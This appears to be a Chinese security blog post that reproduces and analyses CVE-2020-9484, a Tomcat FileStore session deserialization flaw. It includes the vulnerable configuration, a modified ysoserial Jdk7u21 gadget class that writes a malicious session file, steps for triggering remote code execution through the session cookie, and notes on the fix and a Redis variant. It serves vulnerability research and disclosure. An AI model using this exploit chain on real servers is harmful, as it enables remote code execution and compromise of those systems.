环境
- Tomcat 7.0.99
- JDK7u21
影响版本
- <= 9.0.34
- <= 8.5.54
- <= 7.0.103
配置tomcat调试环境
修改catalina.bat添加一行
set JAVA_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8001
idea配置remote tomcat调试 端口为8001
复现
修改tomcat路径conf目录下的context.xml 在<Context>
标签内加入以下配置
<Manager className="org.apache.catalina.session.PersistentManager"
debug="0"
saveOnRestart="false"
maxActiveSession="-1"
minIdleSwap="-1"
maxIdleSwap="-1"
maxIdleBackup="-1">
<Store className="org.apache.catalina.session.FileStore" directory="../sessions" />
</Manager>
为了方便burp抓包,修改server.xml端口为80
下载ysoserial使用idea导入之后修改jdk7u21的链
package ysoserial.payloads;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest(precondition = "isApplicableJavaVersion")
@Dependencies()
@Authors({Authors.FROHOFF})
public class Jdk7u21 implements ObjectPayload<Object> {
public static boolean serialize(Object obj, String file) {
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream(file));
os.writeObject(obj);
os.close();
return true;
} catch (Exception e) {
e.printStackTrace();
} finally {
return false;
}
}
public static boolean isApplicableJavaVersion() {
JavaVersion v = JavaVersion.getLocalVersion();
return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21));
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Jdk7u21.class, args);
}
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object
serialize(set, "e:/evil.session");
return set;
}
}
配置idea参数为
然后运行生成
e:/evil.session
文件,将其保存到D:\tomcat\apache-tomcat-7.0.99\work\Catalina\localhost\cve-2020-9484_war\sessions
目录中,burp抓包设置session为evil,触发反序列化达成RCE。
分析
在php中会将用户session以文件的形式存储到服务器中,java自然也可以,对于大型的企业应用,为了避障会将数据库或者session以文件的形式保存到文件中,那么以文件的形式保存对象自然就涉及到了序列化和反序列化。
通过复现漏洞可知该反序列化入口点在于Context.xml
中配置的org.apache.catalina.session.FileStore
,查看其代码在load()中发现readObjcet
public Session load(String id) throws ClassNotFoundException, IOException {
File file = this.file(id);
if (file != null && file.exists()) {
Context context = (Context)this.getManager().getContainer();
Log containerLog = context.getLogger();
if (containerLog.isDebugEnabled()) {
containerLog.debug(sm.getString(this.getStoreName() + ".loading", new Object[]{id, file.getAbsolutePath()}));
}
FileInputStream fis = null;
ObjectInputStream ois = null;
Loader loader = null;
ClassLoader classLoader = null;
ClassLoader oldThreadContextCL = Thread.currentThread().getContextClassLoader();
StandardSession var11;
try {
fis = new FileInputStream(file.getAbsolutePath());
loader = context.getLoader();
if (loader != null) {
classLoader = loader.getClassLoader();
}
if (classLoader != null) {
Thread.currentThread().setContextClassLoader(classLoader);
}
ois = this.getObjectInputStream(fis);
StandardSession session = (StandardSession)this.manager.createEmptySession();
session.readObjectData(ois);
session.setManager(this.manager);
var11 = session;
return var11;
} catch (FileNotFoundException var25) {
...
}
}
代码很明显,通过id打开session文件,然后获取context的类加载器赋值给当前线程的类加载器,以此拿到当前容器Container中的lib,session.readObjectData(ois)
中触发了反序列化RCE。
修复
在 java/org/apache/catalina/session/FileStore.java 中判断了目录是否有效
gadget用哪个?
因为通过当前Container的类加载器反序列化对象,所以能拿到当前war包中的lib,所以有什么用什么,什么都没有就用jdk的gatget。
遇到的问题
直接使用ysoserial生成的payload不行,在java/io/ObjectInputStream.java:299
中会验证前几位字节码,抛出异常,堆栈如下
readStreamHeader:799, ObjectInputStream (java.io)
<init>:299, ObjectInputStream (java.io)
<init>:95, CustomObjectInputStream (org.apache.catalina.util)
getObjectInputStream:237, StoreBase (org.apache.catalina.session)
load:248, FileStore (org.apache.catalina.session)
loadSessionFromStore:789, PersistentManagerBase (org.apache.catalina.session)
swapIn:739, PersistentManagerBase (org.apache.catalina.session)
findSession:517, PersistentManagerBase (org.apache.catalina.session)
doGetSession:3147, Request (org.apache.catalina.connector)
getSession:2489, Request (org.apache.catalina.connector)
getSession:897, RequestFacade (org.apache.catalina.connector)
getSession:909, RequestFacade (org.apache.catalina.connector)
_initialize:147, PageContextImpl (org.apache.jasper.runtime)
initialize:126, PageContextImpl (org.apache.jasper.runtime)
internalGetPageContext:111, JspFactoryImpl (org.apache.jasper.runtime)
getPageContext:64, JspFactoryImpl (org.apache.jasper.runtime)
_jspService:6, index_jsp (org.apache.jsp)
service:70, HttpJspBase (org.apache.jasper.runtime)
service:728, HttpServlet (javax.servlet.http)
service:477, JspServletWrapper (org.apache.jasper.servlet)
serviceJspFile:395, JspServlet (org.apache.jasper.servlet)
service:339, JspServlet (org.apache.jasper.servlet)
service:728, HttpServlet (javax.servlet.http)
internalDoFilter:303, ApplicationFilterChain (org.apache.catalina.core)
doFilter:208, ApplicationFilterChain (org.apache.catalina.core)
doFilter:52, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:241, ApplicationFilterChain (org.apache.catalina.core)
doFilter:208, ApplicationFilterChain (org.apache.catalina.core)
invoke:219, StandardWrapperValve (org.apache.catalina.core)
invoke:110, StandardContextValve (org.apache.catalina.core)
invoke:492, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:165, StandardHostValve (org.apache.catalina.core)
invoke:104, ErrorReportValve (org.apache.catalina.valves)
invoke:1025, AccessLogValve (org.apache.catalina.valves)
invoke:116, StandardEngineValve (org.apache.catalina.core)
service:452, CoyoteAdapter (org.apache.catalina.connector)
process:1195, AbstractHttp11Processor (org.apache.coyote.http11)
process:654, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote)
doRun:2532, AprEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:2521, AprEndpoint$SocketProcessor (org.apache.tomcat.util.net)
runWorker:1145, ThreadPoolExecutor (java.util.concurrent)
run:615, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:722, Thread (java.lang)
具体原因可能是因为yso对于反序列化对象写入文件的操作不一样,自己写一个serialize()就行了
攻击面和约束条件的思考
先谈约束条件吧,利用难度还是比较大的。
1. 不是默认配置,需要手动增加Context.xml
2. 文件上传 文件后缀需要是.session
3. 需要知道绝对路径来跨目录
拓展下攻击面,比如redis,这里@l1nk3r
师傅公开了另一种使用redis的反序列化场景,问题出现在RedisSession
类中,原理和9484差不多,id从jsessionid获取,value是反序列化数据,配合redis任意写入value来触发反序列化。
参考
- 另一种使用redis的反序列化场景
- https://github.com/apache/tomcat/commit/3aa8f28db7efb311cdd1b6fe15a9cd3b167a2222#diff-d7c9b18d315c5a1fb1e71831656064ad
- https://www.sec-in.com/article/394
- https://www.cnblogs.com/potatsoSec/p/12931427.html
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。
原创文章,作者:Y4er,未经授权禁止转载!如若转载,请联系作者:Y4er